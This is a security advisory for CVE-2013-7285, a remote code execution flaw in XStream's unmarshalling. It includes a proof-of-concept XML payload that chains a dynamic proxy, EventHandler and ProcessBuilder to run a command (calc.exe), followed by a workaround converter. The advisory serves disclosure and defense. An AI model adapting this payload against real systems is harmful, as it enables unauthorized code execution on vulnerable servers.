CVE-2013-7285

Vulnerability

CVE-2013-7285: XStream can be used for Remote Code Execution.

Affected Versions

All versions until and including version 1.4.6 are affected, but a workaround exist.

Description

The processed stream at unmarshalling time contains type information to recreate the formerly written objects. XStream creates therefore new instances based on these type information. An attacker can manipulate the processed input stream and replace or inject objects, that can execute arbitrary shell commands.

Steps to Reproduce

Create a simple interface e.g. named Contact and an implementation class. Use XStream to marshal such an object to XML. Replace the XML with following snippet and unmarshal it again with XStream:

<contact>
  <dynamic-proxy>
    <interface>org.company.model.Contact</interface>
    <handler class='java.beans.EventHandler'>
      <target class='java.lang.ProcessBuilder'>
        <command>
          <string>calc.exe</string>
        </command>
      </target>
      <action>start</action>
    <handler>
  </dynamic-proxy>
</contact>
XStream xstream = new XStream();
Contact contact = (Contact)xstream.fromXML(xml);

Then as soon as the code calls any method on the Contact instance, the payload gets executed, e.g. contact.getFirstName().

Note, this example uses XML, but the attack can be performed for any supported format. e.g. JSON.

Impact

The vulnerability may allow a remote attacker to run arbitrary shell commands only by manipulating the processed input stream.

Workaround

Users can register an own converter for dynamic proxies, the java.beans.EventHandler type or for the java.lang.ProcessBuilder type, that also protects against an attack for this special case:

xstream.registerConverter(new Converter() {
  public boolean canConvert(Class type) {
    return type != null && (type == java.beans.EventHandler || type == java.lang.ProcessBuilder || Proxy.isProxy(type));
  }

  public Object unmarshal(HierarchicalStreamReader reader, UnmarshallingContext context) {
    throw new ConversionException("Unsupported type due to security reasons.");
  }

  public void marshal(Object source, HierarchicalStreamWriter writer, MarshallingContext context) {
    throw new ConversionException("Unsupported type due to security reasons.");
  }
}, XStream.PRIORITY_LOW);